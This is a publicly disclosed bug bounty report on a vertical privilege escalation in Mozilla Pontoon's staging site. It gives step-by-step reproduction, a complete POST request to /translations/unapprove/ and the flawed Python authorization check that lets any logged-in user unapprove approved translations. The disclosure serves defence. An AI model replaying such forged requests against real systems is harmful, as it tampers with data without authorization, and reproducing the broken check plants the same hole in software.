HexBrain

Mozilla · Report #3020021

[Vertical Privilege Escalation] User can Unapproved any Approved Translation at [/translations/unapprove/]

Validstatus
mediumseverity
46upvotes
10 Apr 2026disclosed

How it was found

Hi, team. During testing, I discovered that only privileged users or translation owners can unapprove an approved translation, but due to logical errors, any logged-in user can unapprove any approved translation.

Steps To Reproduce:

  • Go to https://mozilla-pontoon-staging.herokuapp.com/ and log in to your account.

  • Click on Teams and select any team from the menu.

{F4104059}

{F4104060}

  • Now, from the next menu, select any project and then select any resource you want.

{F4104061}

{F4104062}

  • After that, you will have a list of strings that you can translate.

{F4104063}

  • Select any string and you will see an already approved translation with green tick symbol.

{F4104065}

  • You can check that you can't unapprove that translation because you don't have the required privileges.

  • Now, prepare your proxy to capture requests and reload that page.

  • In proxy history, you will see a request to the/get-history/ endpoint. Like this one.

{F4104071}

  • In response to that request, you will find the approved translation ID. Copy that.

{F4104072}

  • Now replace the session cookies, Anti-CSRF token, and Translation ID in this request and send this request.
POST /translations/unapprove/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ███
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/nl/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: ZhBI0LAYVXMG0ZNaUkqXMClUDquhZsfC8o1AlKRQTdTeJ4SCBXLDyi7aw0bWBBxx
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 52
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

translation=5184479&paths%5B%5D=LC_MESSAGES%2Famo.po
  • You will see 200 OK response.

  • Reload the page, and you will see that the translation has been unapproved by a non-privileged user.

██████

  • This is the code snippet responsible for the bug. https://github.com/mozilla/pontoon/blob/main/pontoon/translations/views.py#L361
   # Only privileged users or authors can un-approve translations
    if not (
        request.user.can_translate(locale, project)
        or request.user == translation.user
        or translation.approved
    ):
        return JsonResponse(
            {
                "status": False,
                "message": "Forbidden: You can't unapprove this translation.",
            },
            status=403,
        )

    translation.unapprove(request.user)
  • Here the developer checks if translation.approved then if statement has been bypassed and translation get unapproved.

Impact

The user can perform actions that he is not authorized to do.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original